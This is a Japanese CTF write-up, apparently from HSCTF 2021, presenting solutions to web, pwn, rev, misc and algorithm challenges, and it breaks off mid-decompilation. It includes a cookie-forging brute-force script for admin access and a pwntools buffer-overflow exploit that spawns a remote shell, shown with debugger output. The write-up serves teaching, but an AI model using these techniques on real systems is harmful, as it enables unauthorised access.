00a832a75a634m402a312m376m11a95a308m919m969m566a676a143m274m947a192m461a875m51a967a81a696m69m842m697a783a828a833m243m719m197m70m333a640a346a37m548m166m113a940m748m667a196a346a760a944a720m980m362m703a970m815m894a395a852m23a357m130a98m147a285m44a603m406m724m598a687m30m800m497m398m61a628a666a467m657a266m703m730a463m5m222m693m384m844m957m496a974m618a812m585a180a311a831a17a70a936a646m704a815a269a147m727a192m555a890a529a22m235a380m677a461m781m315a929a704a867a777a410a406m686a153a889m135a17a773a893m622m867m950a542m537a648m856m693m943m630m845m475m767a10a338m983m199a68a77m940a146a537a495m311a352m569a145m600a360m367a879m329m428a807a859a606m407a572a954m297m743a4m685a945m65m520a656m467a827m943a55a640a874a482m384a618a580a457a571a184a364a796m872m546a566m882m830m946a642a94m633m434m317m740a186a913a69m356m620a360a963a68a542a40a583m381a727a902a224a330a13m30m623a256a701m517a759a68a207a357a225m855m994m19a574a630a922a217m159m381m757m543a145a456a950m818a416m981m860m44m417a59a323m34a989m720a93m949m519m274m798m602a757a689m209a797m731m339a351m88m508m157a420a599a173a722m459m238a679m446m73m419a5a120a993a292a455m652m897a984a390m360a378m712m92m101a656a233a579m781a917m488m363a154m484a20a945m109m60a213m816a577a283m638a791a436m474m493m62m709m537m336m347a909a446a88m326m902a502m537m934a301m187a585m544a202m489m672m395m626m916a120a500a975m766m776a245m604m978a963a903m127a740m444m354m169m96a241a947a927m657a810a290m463a739m756a952a32m495a380a686a577a14a166m510m298a506a781a387m960m504a929m936a866m770a790a590a460a933m929a955a562a39m559m177m771m769m961m642a260m66a198m440m516a438a647m524a160a862a918a642a654a427m426a191m782m877m369m767a647m118a876m13a797a57m440a146m319m603m374a53m615m91a836a849m1000a566a600a87m536a670a779m112m158m112a148a192m756a300m600a19m69m857a161m918m532a151m839a259a735a981a737m549m821m239a564m506m396m70a546a183m849a126m683a72m394m521a901m125a448a129a275m452m457m224m399m526m106m939a843a771a907m316a850m883a223m983m789a840m615m768a638a68m219a199a41m590a558m839m920a232a858m240m595a855a888a455m26a77a51a497a600a621m343a510a376m811m294a286a548m572m293a509m114m594m476m955m425a337a738a335m94a498m913m388a755a550a682m194a83m62m406a526a954m14a436m560a174a99a823a398a380m580a713m415m37m660m496a867m92a933m282a857m224m939a351a154m468m264a639a713a304m353m578a425a712m161a697m405m400a877a480a979m956m239a899m773m962a958a333a903m909m373a862m89m216m868m89a798m359a486a937a983a666m188m657a529a428m377m988m614m405m710m506a690a859m54a982a934m898a220a158m433m842a173m789a919m855m345m579a969m97a390m898m833a479m40a839m792m364a293m789m895a806m528a696a619m966m916m637a102m650m968m443m765a943m689m88m433m973a791m645a612m604m573a789a303m677m111m889m395m977m959a293m573m130m79a201a289a581m454m880a439a676a27a132a920m6m609a490a463a281a677a889m211a81a529a476a204m406m687a102a773a13a199m971a963m62a234m706m778a337m738a655a906m49m842a149m821m869m586a771a699a752m168m476m101m956a822m617a437m74m73a109a562a454a226m716m342a519m195a462m770m918a525a663a851m760m256a381m430a710a355m17a608m591a318m603a929m57a990m297m518m570m761a814a130m318m154m585a843a755a699a40m965m509a863a892m293m101a119a530m671a638m139a152a311a587m580m481m625a363a182m634a616m431a794m825m194a156a948a537m344m726m772m797a564a948a488a658m683a822a517m108m1000a210m71m870m708m382m176a646m859a400m544m57m638m753a550a380a770m342a157m966m419m973m427m307m126a216a9a403m4a944m187m838a992m393m175a576m327a841a962m912m959m792m994a713m870m124a472m408m463m694m927a327a670a625a808a336m191a813m699a955a433m91m893m7a163a383a325a684m586a117m138m1a739a7m425a759m972a193m500a694a847m109a696m401a232a346a962a955m162a584a272m697a624m473a642m265m570a316a257a137m863m512a866a659m22m75m739a407m32a743a448a274a237a707m587a352m691m183a770a683a458m86m45m803a808a733a878a991m939m992a701m551a88m859m205a891a696m631a777a65a316m205a620a227m579a74a910a737m63a675a203a706m605m248m628m805a226a268m650m428a308a63m931a322a581m665a554a60a106m435m429m412m767m825m697a166m109a981m726m79a72m527m980m601m604m906m943a996m64a983m794m105a76m272m219m832m992a957a295m841a456m362a898m599m712a175m709m265m469m642m536m156m154a348a586m313m818m289a981a751m154a467a267a732a100m145m86a346a605m831a225a684a413a882m380m606m618m602a734a254a101a663a59a139a850m583m64m598m229a826m359m229m654a737m63m482a459a349a492a919a558a391m269a728a443m191m175a78a516m459a989m41a533a252m723a499m39m553a200m989m47a423m272m980m797a6a585a971a48a660a369a158m920a527a955m506a688a698a758m137a830m342m602a688m751a191a658m552m883m867a690a556a489a884m68a235m300m214a178a80m506m209a721a452m653m682a411a355a322m523a929m279a287m442m930a246m943a377a256a78m411a212m221a234a368m449a547m88m797m455m234m415a696a305a27m204a520m695m673a662a773a16a291m602m895m98m143a324a498a359a461m602m952a873m745a797a230m750m538a488a482a910m281m882a341m32a514m27m732m615a874a937m448a726m313m139m229a395a896m252m255m514a152a714m449m828a270m164m826m239m2m291m957a449m259a5m939a673m234m986m432a103m34m283a792a176m632a924a383m299m682m563a376a907a786m464a714a769a556m824m439m647a576a85a199m240m16m517a263a89a722m212a308m429m795m926m655m528m130a336a604m650m316a465m311m914m740a735m837a595a444a87a530a75a854m992a510m68a938a99m548m102m527a427m666m96a682m931a366a340a471a107a37m842m183a78m412m903a875a898a896a415a239m217m877a176a424a198m496a801a865m382a690a765m885a48a804m990a727a301a27m277a830a285a948a681a266a937m212a787a471m450m720
:2115928545
6469a4442m2928a2163a5572m986a9024m3743m8918m6696a2376a6944a8914a4490m6008a5471m935a7265a8057m9217m8282a6498m8396a2788m3271a6112a242a8610a7977m2664a5700m1731m7083a4013m4351m3107m8142m4415a5469m8505a1248a8259m9364m2371m7848m1136m2065a8493a5600a4013m1146m301a1444a5822m9806a2236m8493a9801m8972m8925m975a5890m1308m7159m15m1332a7024m2057m6026a6627a7479a3923m939m7046a8940a2333m2896m5822a2649m942m2276m5897m3571a2999a6323m8469a3984m382m4489a5233m8809a8353a1221a5487m5357a9548a6591a4002a6489a1073m6779a8990m1664a5729m4928m8788a1084a7372m8294m9556m4949a240a8361m5024a5678m5500a3145a2747a6543a5730m4728m7194m4116a9279a3898m8969a4352m1055a8532a1054m7977a3430a8516a1215a7984m6395m9367a7031m6691m1659a1621m2011a513m6916m8780m1121m4656a4905m679a5771m9719a476m766a555m9673m7995m2185m8813m7931a1131m9338m770m6943a3062m8839m4086m9988m3335a6451a3832m434m331a7011a7610a144m8770m368m2349m8832m6377m6694a1626a5086m7758a7720a6578a1112a6317a9501a301m3779a1303m7701m2539m3205a4561m2956m6047m8700a6777a6833a2467m3802m4937a2924a5383m8501a4645m8549a8558a9818m7513a3682m8590a344m2099a8190a6797m5678a6115m9735m5132m6317m9847a6563a7813m6932a1026a6769m625m4269a7067m9598a2161m8702m1716m4608a4971a9769m4868a1565a2607m5698m1769a687m4764a7389a6234m4036a8734a2313m3773a6892m9006m3603m1496a8488m4257m256a7430a3894a6923a3298m2398m7260a6525m4745m2254a4881m8466m1348m4289a2689m1374m7059a9389m5599a1288a3029m5654a3312a8936a5383a5361a7719m3243m5905a8137m8140m5235m4330a9604a5921m1226a2066a7589m4138m60a5m5492m8129m3422a3711a9399m4411m8407a2446a639a405a4143a2908m3087m6310a3236m2055m1816a8220a2543a8104a3111m5391m5787a7310a9053m5698a4705a5439m1560a3557a3080a3944a1774a4571a1629m4805m9649m4303m1590a4035a9482m6391a1516m4125m3583m2404a3272a7728a4583m8477m2862m5117a9369a5225a5891a169m8160m7061m630m2835m6111m4785m1276m3562a203a9981m9601a9379a8216m9345a8073m9631a5473m4659m3800a322a4365m296m2805m8815m1475a4112m3822a5810a6399m3011a7414m6647m8414m3069a2238m4676m9644m6296m3141m4122m1638m715m6448m6872m438a5704m4071m6543a7742m4896a5397a4224m1168m544a7532m9359m3129a5495m3041m3536a4744m3050a1060a2997a6529m4135a9330m2386a6504a8785m8520m6702m3184m9266m9432a6383m2051a9848m4554a3856m4146m4660a541a4372m419a1653m1052m9177m2732a4734a5335a4326m1352a9507a1604a3309m4511a9375a2131m137m8420a1317a789a9386a3510m4218a1861a6476a4776a5251m3200m3680a7915m7024a8249a8299a5279m340m8503m1729a3753m3452a5482a2406m1554m1238a2984a821a6508a7644a1908m6009m4036m5838m9669m3829a7033m3563m6983a876m9708m5251a159m6046m5647m1304a2942a124a1531a5689m9371m3901m4113a1459m7215m3004m8794a9989m4045m8814a329m6493m2805m2281a8073m8605m7528m2910m9594m9601a2191m9817m4480m1253m3955m272a4036m6052a7072m1771m5381m3798a7210a6757a207a4814m650m2485m2967a4279m345m7476a8108m7334a9210m8430a2932m4430m4572m19m2908m9415m8564a6970m2602m6825m5490a540m7968a9295a8040m4428m301m9794m4946a865a4963a1760a174m1145a5713a8331m2884a967m41m8128m2851m8037a7009m285m9788a9572m8395a825m1840a7200m2602m452m3480a3126a5422a6675a4595m9670a5451a9241a1834m6294m1209m110m8585m5408m1883m54m4826a6374a2127m7148m9953m15m4292m8424m3409m3242m3390a3027a7305a7427m3019m9311a463m6490a7221a9807a5785m9701a4347m1568a7840m3581a3972a2218m2882a1209a1258m7835a7523a1901m8651m1836m4544m1462a5714a6126a5400m7989a1649m8624m4370m1865a8987m9178a2105a6566a1845a6305a1756m4732m3380a9377m5367m1183a1938m1342a5680a1492a3845a2409m2808a2750a9300a813m988a8346m2943m9313m6277m5840m9301m6383a334m9953a4187m7891a6406m4767a5520a6997m4694m3250a9434m6194a9201a888m8036a4956a3638m149m3421m960m6574m9019a7654m4140m2098a4750m4372a5571m1130m3428a6245m1665m8242m2022a9934m5608a8381a598m2833a7457a9981m4935m8957a5846a9655a2336a3274a1492m7957a5094m474m2802a1011m7761a3586m5427m9083m4677a8140m7830m2213a8390a5348m1713m1076a2087m4242m4478a7535m9897m4156m6604a8209a5259m3030m480a7538m4762m4640a2693a7500a7240a9570m1046a2616m2159a6882m2577m308a8382m4675a1399a8295a7871a7660a8895a7740m7410m6730m5547a404m5625m713m248m2432a7164a9769m8149m7915a2578m5581m3872a5106a9765m4814a1042a6167a3349m9595m5049m8855a9414m191m3682a4034a6968m1725a1967m1793m5481m3298a8665m5241a1389m1557a6179a4304m2236a5176a2796m8971m2942a5506a4625a9058m1572m4236a6586m6185a1487m4076m6788m3333m2593m3205m6106m7339m4920m2489a7280a5244a3667a6664m1230m6584m7086a5729a2178a8762a8705a8899m5439m7158a1837a5865a377a1086a3341a9129m1923a7446m1106m4739m2334m1247a7593a3078m4652a1495a1680m8054m6305a1150m5200m80a4766m8766m2512m791a7320m3579a8874m4527m5487m1960a2023m1935a1850a9883m9583m6793m9364a3284a917a692a8901m3501a6096a6869a5004a5799m9760a2470a1128a3107a2160a228m1140m5597m7882a23a6505a1661m1082a831a8144a2865m5143m5355a6585m868a7472a8562m7941a1314m4358m2217m8447m854m267a9554m3602a7228m6693m5562a2918m7861a1879m6641m8793a7571a9236m3289a3145a9527m6081m6795a8613a1707a3102a7170a7540a4246a2575m7339m2629m1862a2551m750m1406m3070a5694a5076m5069a5213m3994a778a9399a7064a2514m5359m432m4197m8472m2873a4324a4361m4010a2828a738m8199m8671m552m1821m1727a8869m9017a9495m9752a9912m6229a7631m2829m2299a833a2873m1330a7647m329a8105a9839a1052m3314a7530a686m9340m9333a4275m3677m3179a2841a3738a7027m7215m3239m4616a5037a7087m93m4871m7096m9246a8834m7820m337m3772a1617a6717m2857m6380m613m9985m7900m282m649a7268m231a3598a1189a646m5811a4535m7876a1907m3578m3294m4823m4737a7480a8285m7822m6347m175m388a2793m3847m2527a3638m8797m7071a750a3620a3212m968m7057m1834m4194a4081a3185a6115m477a9572a9919a2291m4651m943m2483m1791a8199m9730m3560a9842m3131a5728m4922m3861m3582m3027a7260m6582m4526m9084a8393m1261a4767a9951m9945m407m3290a3845m3699m9429m1274a1332a8226a1523a6098m9280m6704m9227m3230a6466a7659a8292m1005a1585m8578m7122m6560m7717m4203m9872m8303a2427a9241a9040a490a7663m541a6272m2431a979a537m1268a6091a5563m7950m2513a4388m8734a438a726a6812m8896a7367a2869m6685a1125a3561m5440a6691a6923m7755m4423a1798m1161m6377a9094m887a7079m9266m3721a3036m8629a4871a8322m4434m7000m1505m8234m6604a9266m9349m8084a3234a4153m4488m7065a6076m3899m7859a2333m9033m4590a6990a3147m6365a5889m4319m9991m6610m7149m605a5291a6162m1775m9268m2844m6736m5958m1870m5001m1139a1202m9535m3001a6884m949a5006a2693a7199a6895a9899m6421a389a588a4798m9048m793a229a7464m7446m6324a5704a3101a5904a4773m4805a4400m625m4352a2760a7396m983m6746m2725m5049a3746a4407m7116m3856m4618a5537a8778m2240a67a6237a2319m1818a8796m1337m517a2460a7000m8140m2382a8784m1931a772m3029m3591m2738a2618m6159a5431m364m7610a5375m2541a677m5586a6788m4061a8879a276m2370m9613a106m6042a6472a2519m9132m1191a6233a152m7587a4234a2166a3694m1098a2110m6907a7452a1891a2010a1449m702m8813a3152a1467m6709a9181a587a3489m3644a3688a739m9237a7452m5441m1489m464a4873m3178a2447m7784m5919m2117a3534m5230m9317m5414m3439m1691a8608a4987a2483m9449m4594a9458a3468m7621a3964m5585a7704a4576m4598m3162m9306m7064a8486m2805m1652m8858a985m1348a2786m6533m2413m2686m692a5920a8306a482a3666m8597a1a281m4043a5804m9813a5527a3551a1868m2472a4489m5299a1367m2852m8240a5558a8302m1481a7031m4747a5688a9595a2773m2460a8654m8960m8289m5445m5321m7126a1846m4536m3612m4431m9853a8120a4375a2243m8804m9491m1665m9454a7712a422m8463m5454m4703a6068a8950a3187m4262m9464m8336m5184m7506a7549a2161a775a1976a3417m8160m7819a2560a6036a9790m1117m8205a5378a2459a9082a9539a173a6390a5527a3137a6228a9893m6991a188a4756m5155m8927m751a7062m7599m4448m6494a2464m6859m973m6186a1550m7029a6109a3763m6527m6744m1240a4345a3994a791a9442m8038m378m7125m7562a9841m3483m191m8331m324m4064a7720m5611m2420a9585m5471a802a6752a7628a8588m4293a9816a5872m6867m2031a2215a1993a7075m1917a2600a6569m8306m9467a632a6234m6356a9900m7068a8128a3060a6901a9757m4725a1291m3211a4494a8727m6216a2151m5085m6297a7383m2880m8742a3659a5305m8311a3718m7137a3037a9423m7163a7519m4575a3528a505a6823a7369m4337m2841a685a8207m6166a6800a932m9321a9199a3327a5620a4803m3442a9319a1099m8771a6274m6445a5111m5499a4353a7995m995m7358m4669a8824a6821m6815m8262a8876m501m5026a6290m1558a1101a6362m8470m8699a9294m2863m2638a2676m3698a5395m6433a3902m4558m9411m2495a4448a8898a9089a667m9235a5131a9343a8378m8229m9123a2273a9260a6200a625a4616m3654a1935m8678a5554a7738a5731a7843a1342m5788a9426a8945m9626m6441a8372a8175a6548a9945a3958m4452m6883m3204a7534m1626a5017a6748m1394a6299a2326a9879a3953a765m474a526a8632a4755a1315m3761a8917m5017m9284m4902a6909a5905m1870m757a3969m8179m2509a2327m4610m2237a4897a8942m5580a9034m7440m7010m9931m2743a6189a3288m813a5273m7578m1796a1032m8372m1787m3971a7828m9621m5215m8512a2981m9246m602m620m1437m2064a3125a3296m1158a5133m3009a6401m9478a6544a9916a6530a1786a1329m266m9619m7515a1384a2416a6627m2650a4547a6566m6554a4847m4944m4596a8563a62m200m6877m958m5153m66a58a5606a6560a2364a4053a2828m2570m9901m4197a2260m867m563m6127m754m3572a899a6686a8591a2552m4958a7076a1a2494a97m5518a8745a3368a8508m3422a3716m8340m8894a3390a5310m4224a4063a4682m5762a9860m914m1991a3615a9089a5045m4872a9566m1576m3033m9754a8620m4398a6334a2179a9524m5761m7905a8749a2963a8722a9551a9788a7233a6470m3309m4558m748m5490m7764m4693m7270a5481m5282m8896a3579a6140m5847m2691m8527a2075m3375a8694m4250a146a7743m2340m5224a5675m9962a2991m1525m278a5333m9629m3109a5618m4025m9927a9207m8848a4610a2122m9883a9033m3935a1401a5946m2432m1839a7902m4610m1363a5729a317m1362m7905a4651a7088m2673a1060a6116m5592m8937a3577a1359a1085m1322a3940m9098m5678m937a4519a2805m2562m5316a3215m4763a7744a7279m8334a6063a1743a8168a5317m4060m8229a8551m9967m6995a1541a9847m8561a3470m9791a6573m8561m9724a8099a510m2159m7339m78m8354a6537m2625a5290a2051a2379m9803a7573a3961m7089a2368a3604a9847a5976a8375a2877a2716m7037m4196a481a5592m6595m2304a8775a864a274a4241m2041m680a5958a7839a2157a7613m3097a9754m7359a1345a2526a7418a3952m2751a7475a4094m8959a8211a9479a7500m9603a394m3561a313a4952a5561a9036m7524a1545m5874a8674m4816m4070a9449a835a6932a2555m6464m7933a4253m8390m6595m9790a5202a3019a1628m5569m7658a6347m7575a9654a4904a9413m585m2860a5754a3204m3253m7106a7957m7844a7391m9014a6797m833a9704a2331m1375a6639a7511m6834a4956m6513a5712a1370m4805a9225a4322m8948m9422a9136m2493a4164a589a3719a2460a5142a9450a9769a9479m3369a1712m5105a942m7235a4620a5629m6491a9473a8069a2961m7272a9781a7740a9917a4610a5043m3044a387m7239m1791m214m9229m208a6539a9806a1013a2596m5878a9830a3050a5972a4669a5105a6920a8765m7322m3788a2599a502m3152m8935m6641a5721m6802a6310m2018a6689m1451a7292m3587m5643m263a63m97a3875m1871m1939m537m9439a7744m8669a4392a5816
:736285725
b'flag{yknow_wh4t_3ls3_is_n0t_real1y_math?_c00l_m4th_games.com}'
flag{yknow_wh4t_3ls3_is_n0t_real1y_math?_c00l_m4th_games.com}

message-board (web)

app.jsにユーザ情報がある。

    {
        userID: "972",
        username: "kupatergent",
        password: "gandal"
    },

このusername, passwordでログインできる。
クッキーには、userDataとして以下が設定されている。

j%3A%7B%22userID%22%3A%22972%22%2C%22username%22%3A%22kupatergent%22%7D

URLデコードする。

j:{"userID":"972","username":"kupatergent"}

adminとしてログインしたいが、userIDがわからない。ブルートフォースしてみる。

import requests
import re

url = 'https://message-board.hsc.tf/'
userData_head = 'j%3A%7B%22userID%22%3A%22'
userData_tail = '%22%2C%22username%22%3A%22admin%22%7D'

for i in range(1000):
    userID = '%03d' % i
    userData = userData_head + userID + userData_tail
    cookie = {'userData': userData}
    r = requests.get(url=url, cookies=cookie)
    if 'flag{' in r.text:
        print '[+] userID: ', userID
        pattern = '(flag\{.+\})'
        m = re.search(pattern, r.text)
        flag = m.group(1)
        print '[*] flag: ', flag
        break

実行結果は以下の通り。

[+] userID:  768
[*] flag:  flag{y4m_y4m_c00k13s}
flag{y4m_y4m_c00k13s}

glass-windows (misc)

Stegsolveで開き、Xorを見たら、フラグが見えた。
f:id:satou-y:20210705202416p:plain

flag{this_is_why_i_use_premultiplied_alpha}

warmup-rev (rev)

暗号処理の概要は以下の通り。

・flagの長さは33
・hot(warm(cool(cold(flag))))が"4n_3nd0th3rm1c_rxn_4b50rb5_3n3rgy"と一致

■hot(t)
・adj: 固定数値配列
・tの各文字のASCIIコードにadjの該当するインデックスの数値を足す

■warm(t)
・a: tの"l"の文字まで
・t1: tの"l"の次の文字以降
・b: t1の"l"の文字まで
・c: t1の"l"の次の文字以降
・c + b + aを返す。

■cool(t)
・tの各文字で偶数番目のみ変換する。
 ・3 * (i / 2)

■cold
・末尾17バイトとそれ以外を逆にする。

逆算していけばよい。warmは一意にならないが、flagは33文字で最後の文字はcoldによる変換があるため、"}"になる想定で元に戻す。なお、coolの際にはインデックス15になるため、coolの影響は受けない。

#!/usr/bin/python3
def rev_hot(s):
    adj = [-72, 7, -58, 2, -33, 1, -102, 65, 13, -64, 21, 14, -45, -11, -48,
        -7, -1, 3, 47, -65, 3, -18, -73, 40, -27, -73, -13, 0, 0, -68, 10,
        45, 13]
    t = b''
    for i in range(len(s)):
        t += bytes([s[i] - adj[i]])
    return t

def rev_warm(s):
    assert s.count(b'l') == 2
    i1 = s.index(b'l') + 1
    a = s[i1:]
    rev_t1 = s[:i1]

    i2 = rev_t1.index(b'}') - 15 + len(a)
    b1 = rev_t1[i2:]
    b2 = rev_t1[:i2]
    return a + b1 + b2

def rev_cool(s):
    t = b''
    for i in range(len(s)):
        if i % 2 == 0:
            t += bytes([s[i] - 3 * (i // 2)])
        else:
            t += bytes([s[i]])
    return t

def rev_cold(s):
    return s[-17:] + s[:-17]

enc = b'4n_3nd0th3rm1c_rxn_4b50rb5_3n3rgy'

enc1 = rev_hot(enc)
enc2 = rev_warm(enc1)
enc3 = rev_cool(enc2)
flag = rev_cold(enc3)
print(flag)
flag{1ncr34s3_1n_3nth4lpy_0f_5y5}

seeded-randomizer (misc)

サンプルと実体のコードを組み合わせ、seedを総当たりで、フラグを導き出す。

import java.util.Random;

public class Solve{

    public static String getFlag(int seed) {
        Random rand = new Random(seed);
        char[] flag = new char[33];
        int[] c = {13, 35, 15, -18, 88, 68, -72, -51, 73, -10, 63,
            1, 35, -47, 6, -18, 10, 20, -31, 100, -48, 33, -12,
            13, -24, 11, 20, -16, -10, -76, -63, -18, 118};
        for (int i = 0; i < flag.length; i++) {
            int n = rand.nextInt(128) + c[i];
            flag[i] = (char)n;
        }
        return new String(flag);
    }

    public static void main(String[] args) {
        String flag;

        for (int i = 0; i < 1000; i++) {
            flag = getFlag(i);
            if (flag.startsWith("flag{")) {
                System.out.println(flag);
                break;
            }
        }
    }

}
flag{s33d3d_r4nd0m1z3rs_4r3_c00l}

extended-fibonacci-sequence (algo)

フィボナッチ数列の連結の和を計算し、下11桁を答える。

import socket
import sympy

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_ext_fib_sum(n):
    val = 0
    pre_s = '0'
    for i in range(1, n + 1):
        s = int(pre_s + str(sympy.fibonacci(i)))
        pre_s = str(s)[-11:]
        val += s
    return str(val)[-11:].lstrip('0')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('extended-fibonacci-sequence.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(20):
    data = recvuntil(s, '\n').rstrip()
    print data
    n = int(data)

    ans = get_ext_fib_sum(n)

    data = recvuntil(s, ': ').rstrip()
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
295
:19900016721
439
:21351525585
405
:56510144032
186
:32977264300
514
:96259336031
117
:32378956000
671
:20361436912
532
:98390013431
100
:43440775095
963
:51815816884
183
:53708348604
584
:67806778342
939
:743155460
313
:27870863729
721
:70482190001
642
:25822201852
475
:9260913201
866
:70819079410
73
:35439753969
46
:35169302895
b'flag{nacco_ordinary_fib}'
flag{nacco_ordinary_fib}

stonks (pwn)

$ file chal
chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c9dd0853a3d57b88734e4b8bfc2feeff478b5b67, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chal

Ghidraでデコンパイルする。

undefined8 main(void)

{
  puts("Advanced AI Stock Price Predictor");
  vuln();
  puts("Thanks for using the Advanced AI Stock Price Predictor!");
  return 0;
}

void vuln(void)

{
  char local_28 [28];
  uint local_c;
  
  printf("Please enter the stock ticker symbol: ");
  gets(local_28);
  local_c = ai_calculate();
  printf("%s will increase by $%d today!\n",local_28,(ulong)local_c);
  return;
}

int ai_calculate(void)

{
  int iVar1;
  
  iVar1 = rand();
  return iVar1 % 0x14;
}

void ai_debug(void)

{
  system("/bin/sh");
  return;
}

BOFでai_debug関数を呼び出せばよい。

$ gdb -q chal
Reading symbols from chal...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401090  puts@plt
0x00000000004010a0  system@plt
0x00000000004010b0  printf@plt
0x00000000004010c0  gets@plt
0x00000000004010d0  setvbuf@plt
0x00000000004010e0  rand@plt
0x00000000004010f0  _start
0x0000000000401120  _dl_relocate_static_pie
0x0000000000401130  deregister_tm_clones
0x0000000000401160  register_tm_clones
0x00000000004011a0  __do_global_dtors_aux
0x00000000004011d0  frame_dummy
0x00000000004011d6  setup
0x000000000040121d  ai_calculate
0x0000000000401258  ai_debug
0x000000000040126f  vuln
0x00000000004012c3  main
0x0000000000401300  __libc_csu_init
0x0000000000401370  __libc_csu_fini
0x0000000000401378  _fini
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chal 
Advanced AI Stock Price Predictor
Please enter the stock ticker symbol: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AAD will increase by $3 today!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x39 ('9')
RBX: 0x0 
RCX: 0x0 
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7fffffffb790 ("AAA%AAsAABAA$AAnAACAA-AA(AAD\003 will increase by $3 today!\n")
RDI: 0x1 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffde58 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4012c2 (<vuln+83>:	ret)
R8 : 0x39 ('9')
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x4010f0 (<_start>:	endbr64)
R13: 0x7fffffffdf40 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012bb <vuln+76>:	call   0x4010b0 <printf@plt>
   0x4012c0 <vuln+81>:	nop
   0x4012c1 <vuln+82>:	leave  
=> 0x4012c2 <vuln+83>:	ret    
   0x4012c3 <main>:	endbr64 
   0x4012c7 <main+4>:	push   rbp
   0x4012c8 <main+5>:	mov    rbp,rsp
   0x4012cb <main+8>:	lea    rdi,[rip+0xd86]        # 0x402058
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde58 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffde60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffde68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffde70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffde78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffde80 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffde88 ("AAKAAgAA6AAL")
0056| 0x7fffffffde90 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012c2 in vuln ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary ./chal | grep ": ret"
0x000000000040101a : ret
0x0000000000401245 : ret 0xd089
0x000000000040123b : ret 0xfac1
0x0000000000401253 : retf 0xd089
from pwn import *

context(arch='amd64', os='linux', log_level='info')

if len(sys.argv) == 1:
    p = remote('stonks.hsc.tf', 1337)
else:
    p = process('./chal')

elf = ELF('./chal')
ai_debug_addr = elf.symbols['ai_debug']
ret_addr = 0x40101a

payload = 'A' * 40
payload += p64(ret_addr)
payload += p64(ai_debug_addr)

data = p.recvuntil(': ')
print data + payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to stonks.hsc.tf on port 1337: Done
[*] '/mnt/hgfs/Shared/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a@\x00\x00\x00\x12\x00\x00\x00
[*] Switching to interactive mode
disabled ==
Advanced AI Stock Price Predictor
Please enter the stock ticker symbol: AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x03will increase by $3 today!
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{to_the_moon}
flag{to_the_moon}

digits-of-pi (web)

スプレッドシートで閲覧のみが可能だが、「編集」「検索と置換」メニューから全シートに対して検索ができる。「f」で検索してみると、Sourceシートの「O401」のセルにフラグが見つかった。

flag{hidden_sheets_are_not_actually_hidden}

sneks (rev)

pycをデコンパイルする。

$ uncompyle6 sneks.pyc 
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: sneks.py
# Compiled at: 2021-05-20 04:21:59
# Size of source mod 2**32: 600 bytes
import sys

def f(n):
    if n == 0:
        return 0
    if n == 1 or n == 2:
        return 1
    x = f(n >> 1)
    y = f(n // 2 + 1)
    return g(x, y, not n & 1)


def e(b, j):
    return 5 * f(b) - 7 ** j


def d(v):
    return v << 1


def g(x, y, l):
    if l:
        return h(x, y)
